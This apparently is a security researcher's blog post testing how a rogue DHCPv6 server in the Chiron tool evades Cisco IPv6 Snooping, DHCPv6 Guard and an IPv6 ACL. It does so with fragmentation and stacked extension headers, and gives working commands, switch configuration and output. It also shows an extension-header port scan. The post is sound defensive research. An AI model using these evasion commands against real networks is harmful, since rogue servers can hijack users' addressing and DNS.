DHCPv6 Guard: Do It Like RA Guard Evasion

RA Guard Evasion is well-known in the IPv6 “circles”; there is RFC 7113 Advice for IPv6 Router Advertisement Guard (RA-Guard) and many interesting blog-posts like this one here, here, and this excellent write-up here that discuss this issue.
Moreover, as Jim Smalls states in his comprehensive “IPv6 Attacks and Countermeasures” presentation given at the North American IPv6 Summit 2013, DHCPv6 Guard or a corresponding IPv6 ACL can stop a DHCPv6 Rogue Servers, but (only?) for non-malicious/non-fragmented DHCPv6 packets (slide 35). However, at that time there wasn’t any known attack tool in the wild that had the fragmentation evasion built in.

Since I recently integrated a DHCPv6 server module at Chiron, which comes with IPv6 Extension Headers and arbitrary fragmentation built-in capabilities, I decided to try it at against Cisco IPv6 Snooping and DHCPv6 Guard (by the way, the new version of Chiron with the DHCPv6 built-in server capabilities will be released at the IPv6 Security Summit @ Troopers 15). My testing equipment was a Cisco Catalyst 3560-CG with Software Version 15.2(2)E.

First, I enabled IPv6 Snooping, as described by Christopher here (and for “normal” circumstances, as Christopher explains IPv6 Snooping is more than enough).

Then I checked that normal DHCPv6 Advertise messages are actually blocked. I started the Chiron DHCPv6 server as following:

./chiron_attacks.py enp7s0 -dhcpv6_server -pr 2001:db8:1:1

It was confirmed that the rogue DHCPv6 Advertise messages are blocked, by using a Wireshark captures, checking that my client (Windows 8.1) didn’t get an IPv6 address, as well as from the Cisco debugging messages (a sample is displayed below):

Mar 30 02:34:04.062: SISF[CLA]: Interested feature:
Mar 30 02:34:04.062: SISF[CLA]:                 Snooping
Mar 30 02:34:04.062: SISF[SWI]: Gi0/1 vlan 10 Feature_0  Snooping priority 128
Mar 30 02:34:04.062: SISF[PRS]: Gi0/1 vlan 10 DHCPV6_MSG_ADVERTISE XID 9B6B0F
Mar 30 02:34:04.062: SISF[PRS]: Gi0/1 vlan 10   DHCPV6_OPTION_IA_NA
Mar 30 02:34:04.062: SISF[PRS]: Gi0/1 vlan 10   DHCPV6_OPTION_CLIENTID
Mar 30 02:34:04.062: SISF[PRS]: Gi0/1 vlan 10   DHCPV6_OPTION_PREFERENCE
Mar 30 02:34:04.062: SISF[PRS]: Gi0/1 vlan 10   DHCPV6_OPTION_SERVERID
Mar 30 02:34:04.062: SISF[PRS]: Gi0/1 vlan 10   DHCPV6_OPTION_DNS_SERVERS
Mar 30 02:34:04.062: SISF[PRS]: Gi0/1 vlan 10   DHCPV6_OPTION_DOMAIN_LIST
Mar 30 02:34:04.062: SISF[PRS]: Gi0/1 vlan 10           2001:DB8:1:1:C39C:2397:D1E7:5754  valid:600-pref:375s (ignored)
Mar 30 02:34:04.067: SISF[POL]: Vlan 10 matches vlan list on policy default
Mar 30 02:34:04.067: SISF[GLN]: Gi0/1 vlan 10 IPv6 snooping Gleaner setting sec level to 2
Mar 30 02:34:04.067: SISF[POL]: Vlan 10 matches vlan list on policy default
Mar 30 02:34:04.067: SISF[PRS]: Gi0/1 vlan 10 Sec level is Guard
Mar 30 02:34:04.067: SISF[PRS]: Gi0/1 vlan 10 Disallowed DHCP ADVERTISE: default action is drop message
Mar 30 02:34:04.067: SISF[GLN]: Gi0/1 vlan 10 Unauthorized packet
Mar 30 02:34:04.067: SISF[SWI]: Gi0/1 vlan 10 Feature Snooping rc 1
Mar 30 02:34:04.067: SISF[SWI]: Gi0/1 vlan 10 Feature drop
etc.

Then, I re-started DHCPv6 Chiron server by adding one IPv6  Destination Options header and fragmenting the datagram in two fragments. The corresponding Chiron command is the following:

./chiron_attacks.py enp7s0 -dhcpv6_server -pr 2001:db8:1:1 -lfE 60 -nf 2

Results:

  1. No similar debug messages.
  2. Full DHCPv6 handshaking captured from Wireshark.
  3. Client got (and renewed later) its DHCPv6 address.

So, it seems that IPv6 Snooping regarding DHCPv6 Advertise/Reply messages can be circumvented in the same way as the RA Guard. Not very surprising, of course.

Next, I enabled DHCPv6 Guard without enabling IPv6 Snooping this time, just for testing purposes, as following:

L3SW(config)#ipv6 dhcp guard policy dhcpv6guard_pol

and then:

L3SW(config)#vlan configuration 10
L3SW(config-vlan-config)#ipv6 dhcp guard attach-policy dhcpv6guard_pol    

The results were the same. Rogue DHCPv6 Advertise/Reply messages are blocked as long as they are not fragmented.  In this test, I also confirmed that:

a) The IPv6 Destination Option Header can be at the unfragmentable part of the IPv6 fragments.
b) You do not need an IPv6 Extension Header at all (since, the DHCPv6 messages are long enough to be split in two fragments). So, something like the following still works:

./chiron_attacks.py enp7s0 -dhcpv6_server -pr 2001:db8:1:1 -nf 2

Doing so, RFC 7112 is “satisfied” (since layer 4 header – UDP in our case – is in the 1st fragment).

After that, I tried to make it more difficult. I added an ACL rule that blocks the UDP traffic sent by the DHCPv6 server:

L3SW(config)#ipv6 access-list dhcpv6-protect
L3SW(config-ipv6-acl)#deny udp any eq 547 any eq 546
L3SW(config-ipv6-acl)#permit any any                                                                                                         

and

L3SW(config)#interface gigabitethernet0/1
L3SW(config-if)#ipv6 traffic-filter dhcpv6-protect in
L3SW(config-if)#end

Indeed, this ACL blocks DHCPv6 Advertise/Reply packets, but … only temporarily. If we add six (6) Destination Option headers and fragment it in 2 fragments, Chiron circumvents it again:

# ./chiron_attacks.py enp7s0 -dhcpv6_server -pr 2001:db8:1:1 -lfE 6X60 -nf 2
Prefix to Use is 2001:db8:1:1
The MAC address of your sender is: 00:24:54:ba:a1:97
The IPv6 address of your sender is: fe80::224:54ff:feba:a197
The interface to use is enp7s0
Source MAC address 00:24:54:ba:a1:97 Source IPv6 Address fe80::224:54ff:feba:a197
Starting sniffing…
Sniffer filter is ip6
DHCPv6 Solicit packet received with Transaction ID 13902187 from 08:00:27:68:02:b7
DHCPv6 Advertise packet sent with Transaction ID 13902187 to 08:00:27:68:02:b7 with IPv6 Address 2001:db8:1:1:ec53:a395:4d95:a54
DHCPv6 Request packet received with Transaction ID 13902187 from 08:00:27:68:02:b7
DHCPv6 Reply packet sent with Transaction ID 13902187 to 08:00:27:68:02:b7 with IPv6 Address 2001:db8:1:1:ec53:a395:4d95:a54
DHCPv6 Renew packet received with Transaction ID 2529640 from 08:00:27:68:02:b7
DHCPv6 Reply packet sent with Transaction ID 2529640 to 08:00:27:68:02:b7 with IPv6 Address 2001:db8:1:1:ec53:a395:4d95:a54

 

Remarks:

  1. For five (5) IPv6 Destination Options Extension Headers, Advertise/Reply messages are blocked. So, Cisco can count up to 5 :) ?
  2. Six (6) Destination Options and 2 fragments work despite of the fact that the UDP header is at the first fragment (please see the Wireshark screenshot displayed below – the UDP header is the yellow/light green ellipse).

fragmented_DHCPv6_evade_Cisco_ACL_6DestOpt&fragment-circle

 

Given the current situation, it seems that blocking fragmentation is the only way to mitigate risks like the aforementioned ones (blocking Extension Headers wouldn’t help, since we need some of them for other protocols, as for example the Router Alert option at the Hop-by-Hop Extension Header for MLD).

Finally, I also try to find out if evading DHCPv6 Guard AND the aforementioned ACL is feasible without using fragmentation. I tried several numbers of IPv6 Extension Headers; the maximum number of them is achieved by using the following Chiron command:

chiron_attacks.py enp7s0 -dhcpv6_server -pr 2001:db8:1:1 -lfE 0,164X60,43

The above command creates an IPv6 header chain by one hundred and sixty-four (164) Destination Option Headers, preceded by a Hop-by-hop header and followed by a Routing Type header (just to have some …variety). Unfortunately (?) no success this time.

We cannot add more Extension Headers without using fragmentation, because the size of the datagram gets bigger than the Ethernet MTU (1500 bytes) and hence, needs to be fragmented.

Btw (and unrelated to the DHCPv6 [Guard] discussion), just as a small side observation, Windows 8.1 happily responds even to the following packet (which uses 180 IPv6 Extension Headers!):

./chiron_scanner.py enp7s0 -sS -p 445 -d fe80::fc04:9f2b:68d0:5129 -lfE 0,178X60,43
The MAC address of your sender is: 00:24:54:ba:a1:97
The IPv6 address of your sender is: fe80::224:54ff:feba:a197
The interface to use is enp7s0
Starting sniffing…
Sniffer filter is ip6 and dst fe80::224:54ff:feba:a197 and not host 2001:470:20::2
System’s default gateway for interface enp7s0 not found, or there are two default gateways
If you need to use a gateway, you must define it on your own
Let’s start scanning
Press Ctrl-C to terminate before finishing
08:00:27:68:02:b7 fe80::fc04:9f2b:68d0:5129 00:24:54:ba:a1:97 fe80::224:54ff:feba:a197 TCP microsoft_ds 19400 SA
Scanning Complete!
==================
IPv6 address                                                         Protocol    Port    Flags
[‘fe80::fc04:9f2b:68d0:5129′, ‘ TCP ‘, ‘microsoft_ds’, ‘SA’]

===

So, once again, actual testing helps to really evaluate the security posture of certain “well-known controls”…
See you at Troopers, take care

Antonios